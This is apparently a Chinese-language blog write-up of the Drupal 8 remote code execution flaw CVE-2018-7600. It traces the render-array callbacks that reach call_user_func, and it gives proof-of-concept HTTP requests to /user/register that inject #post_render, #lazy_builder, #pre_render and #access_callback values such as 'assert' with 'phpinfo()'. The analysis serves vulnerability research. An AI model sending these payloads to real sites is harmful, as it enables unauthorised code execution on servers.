Drupl的#
之谜,迟到很久很久…
0x01 分析
漏洞起因
由于Drupal在2018.3.28时发布的更新中,发布了一个远程代码执行的漏洞,从补丁对比中可以看出是和#
有关的参数被做了过滤.
详情戳这里
其中Drupal Render API对#
是有特殊处理的详情.
漏洞详情
漏洞触发点在\core\modules\file\src\Element\ManagedFile.php
的uploadAjaxCallback
函数中:
public static function uploadAjaxCallback(&$form, FormStateInterface &$form_state, Request $request) {
/** @var \Drupal\Core\Render\RendererInterface $renderer */
$renderer = \Drupal::service('renderer');
$form_parents = explode('/', $request->query->get('element_parents'));
// Retrieve the element to be rendered.
$form = NestedArray::getValue($form, $form_parents);
// Add the special AJAX class if a new file was added.
$current_file_count = $form_state->get('file_upload_delta_initial');
if (isset($form['#file_upload_delta']) && $current_file_count < $form['#file_upload_delta']) {
$form[$current_file_count]['#attributes']['class'][] = 'ajax-new-content';
}
// Otherwise just add the new content class on a placeholder.
else {
$form['#suffix'] .= '<span class="ajax-new-content"></span>';
}
$status_messages = ['#type' => 'status_messages'];
$form['#prefix'] .= $renderer->renderRoot($status_messages);
$output = $renderer->renderRoot($form);
$response = new AjaxResponse();
$response->setAttachments($form['#attached']);
return $response->addCommand(new ReplaceCommand(NULL, $output));
}
这个函数的作用是ajax回调managed_file的上传表单. 其中
$form_parents = explode('/', $request->query->get('element_parents'));
...
$form = NestedArray::getValue($form, $form_parents);
将通过GET
获得的element_parents
参数,传递给了NestedArray::getValue
函数,跟进该函数
public static function &getValue(array &$array, array $parents, &$key_exists = NULL) {
$ref = &$array;
foreach ($parents as $parent) {
if (is_array($ref) && array_key_exists($parent, $ref)) {
$ref = &$ref[$parent];
}
else {
$key_exists = FALSE;
$null = NULL;
return $null;
}
}
$key_exists = TRUE;
return $ref;
}
该函数的功能是根据传递进来的element_parents
,将form
中对应的key
逐个取出,最后返回给form
.
例如
array(1) {
["a"]=>
array(1) {
["b"]=>
array(2) {
["c"]=>
string(1) "1"
["d"]=>
string(1) "2"
}
}
}
如果传入的element_parents
是a/b/c
,最后返回的就是1.
之后对form
做了一系列的处理,其中有一处调用比较关键
$output = $renderer->renderRoot($form);
跟到renderRoot
函数,在\core\lib\Drupal\Core\Render\Renderer.php
中
public function renderRoot(&$elements) {
// Disallow calling ::renderRoot() from within another ::renderRoot() call.
if ($this->isRenderingRoot) {
$this->isRenderingRoot = FALSE;
throw new \LogicException('A stray renderRoot() invocation is causing bubbling of attached assets to break.');
}
// Render in its own render context.
$this->isRenderingRoot = TRUE;
$output = $this->executeInRenderContext(new RenderContext(), function () use (&$elements) {
return $this->render($elements, TRUE);
});
$this->isRenderingRoot = FALSE;
return $output;
}
之后又进入了render
函数
public function render(&$elements, $is_root_call = FALSE) {
try {
return $this->doRender($elements, $is_root_call);
}
catch (\Exception $e) {
// Mark the ::rootRender() call finished due to this exception & re-throw.
$this->isRenderingRoot = FALSE;
throw $e;
}
}
然后进去了doRender
函数,该函数就有存在命令执行的地方.
...
if (!isset($elements['#access']) && isset($elements['#access_callback'])) {
if (is_string($elements['#access_callback']) && strpos($elements['#access_callback'], '::') === FALSE) {
$elements['#access_callback'] = $this->controllerResolver->getControllerFromDefinition($elements['#access_callback']);
}
$elements['#access'] = call_user_func($elements['#access_callback'], $elements);
}
...
$supported_keys = [
'#lazy_builder',
'#cache',
'#create_placeholder',
// The keys below are not actually supported, but these are added
// automatically by the Renderer. Adding them as though they are
// supported allows us to avoid throwing an exception 100% of the time.
'#weight',
'#printed'
];
$unsupported_keys = array_diff(array_keys($elements), $supported_keys);
if (count($unsupported_keys)) {
throw new \DomainException(sprintf('When a #lazy_builder callback is specified, no properties can exist; all properties must be generated by the #lazy_builder callback. You specified the following properties: %s.', implode(', ', $unsupported_keys)));
}
}
...
if (isset($elements['#lazy_builder'])) {
$callable = $elements['#lazy_builder'][0];
$args = $elements['#lazy_builder'][1];
if (is_string($callable) && strpos($callable, '::') === FALSE) {
$callable = $this->controllerResolver->getControllerFromDefinition($callable);
}
$new_elements = call_user_func_array($callable, $args);
// Retain the original cacheability metadata, plus cache keys.
CacheableMetadata::createFromRenderArray($elements)
->merge(CacheableMetadata::createFromRenderArray($new_elements))
->applyTo($new_elements);
if (isset($elements['#cache']['keys'])) {
$new_elements['#cache']['keys'] = $elements['#cache']['keys'];
}
$elements = $new_elements;
$elements['#lazy_builder_built'] = TRUE;
}
...
if (isset($elements['#pre_render'])) {
foreach ($elements['#pre_render'] as $callable) {
if (is_string($callable) && strpos($callable, '::') === FALSE) {
$callable = $this->controllerResolver->getControllerFromDefinition($callable);
}
$elements = call_user_func($callable, $elements);
}
}
...
if (isset($elements['#post_render'])) {
foreach ($elements['#post_render'] as $callable) {
if (is_string($callable) && strpos($callable, '::') === FALSE) {
$callable = $this->controllerResolver->getControllerFromDefinition($callable);
}
$elements['#children'] = call_user_func($callable, $elements['#children'], $elements);
}
}
...
doRender
其中四处#access_callback/#post_render/#pre_render/#lazy_builder
调用了call_user_func
可以被利用,进而造成远程代码执行漏洞。
0x02
#pre_render
Poc:
URL: /drupal/drupal/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax
Post_body:
Content-Disposition: form-data; name="mail[#pre_render][]"
var_dumpss
Show:
#post_render
Poc:
URL: /drupal/drupal/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax
Post_body:
-----------------------------7870987529834
Content-Disposition: form-data; name="mail[#post_render][]"
assert
-----------------------------7870987529834
Content-Disposition: form-data; name="mail[#children]"
phpinfo()
Show:
#lazy_builder
Poc:
URL: /drupal/drupal/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax
Post_body:
-----------------------------7870987529834
Content-Disposition: form-data; name="mail[id][#lazy_builder][]"
assert
-----------------------------7870987529834
Content-Disposition: form-data; name="mail[id][#lazy_builder][1][]"
phpinfo()
这里的mail
数组不同于之前,是由于在#lazy_builder
的处理过程中,会检查数组键名。
$supported_keys = [
'#lazy_builder',
'#cache',
'#create_placeholder',
// The keys below are not actually supported, but these are added
// automatically by the Renderer. Adding them as though they are
// supported allows us to avoid throwing an exception 100% of the time.
'#weight',
'#printed'
];
$unsupported_keys = array_diff(array_keys($elements), $supported_keys);
if (count($unsupported_keys)) {
throw new \DomainException(sprintf('When a #lazy_builder callback is specified, no properties can exist; all properties must be generated by the #lazy_builder callback. You specified the following properties: %s.', implode(', ', $unsupported_keys)));
}
如果检测到不在$supported_key
中的键名,就会直接抛出异常。这里需要利用Render API
中children elemnent
的特性。
public static function children(array &$elements, $sort = FALSE) {
$sort = isset($elements['#sorted']) ? !$elements['#sorted'] : $sort;
$count = count($elements);
$child_weights = [];
$i = 0;
$sortable = FALSE;
foreach ($elements as $key => $value) {
if ($key === '' || $key[0] !== '#') {
if (is_array($value)) {
if (isset($value['#weight'])) {
$weight = $value['#weight'];
$sortable = TRUE;
}
else {
$weight = 0;
}
$child_weights[$key] = floor($weight * 1000) + $i / $count;
}
elseif (isset($value)) {
trigger_error(SafeMarkup::format('"@key" is an invalid render array key', ['@key' => $key]), E_USER_ERROR);
}
}
$i++;
}
if ($sort && $sortable) {
asort($child_weights);
foreach ($child_weights as $key => $weight) {
$value = $elements[$key];
unset($elements[$key]);
$elements[$key] = $value;
}
$elements['#sorted'] = TRUE;
}
return array_keys($child_weights);
}
$element
传递进入children
处理。
最后返回$children
。
紧接着将#lazy_builder
单独传入,之后的流程就和之前的一样了。
Show:
access_callback
Poc:
URL: /drupal/drupal/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax
Post_body:
-----------------------------7870987529834
Content-Disposition: form-data; name="mail[#access_callback][]"
var_dump
Show:
{%image fancybox http://img.over-rainbow.cn/cve-2018-7600%20Drupal%208%20%288%29.png%}:
0x03
One’s Storm
-
四个利用点中,
#post_render
和#lazy_builder
会比#pre_render
以及#access_callback
更好利用。 -
函数调用链:
#post_render
uploadAjaxCallback->renderRoot->render->doRender
#lazy_builder
uploadAjaxCallback->renderRoot->render->doRender->children->render->doRender
#pre_render
uploadAjaxCallback->renderRoot->render->doRender
#access_callback
uploadAjaxCallback->renderRoot->render->doRender
(ง •_•)ง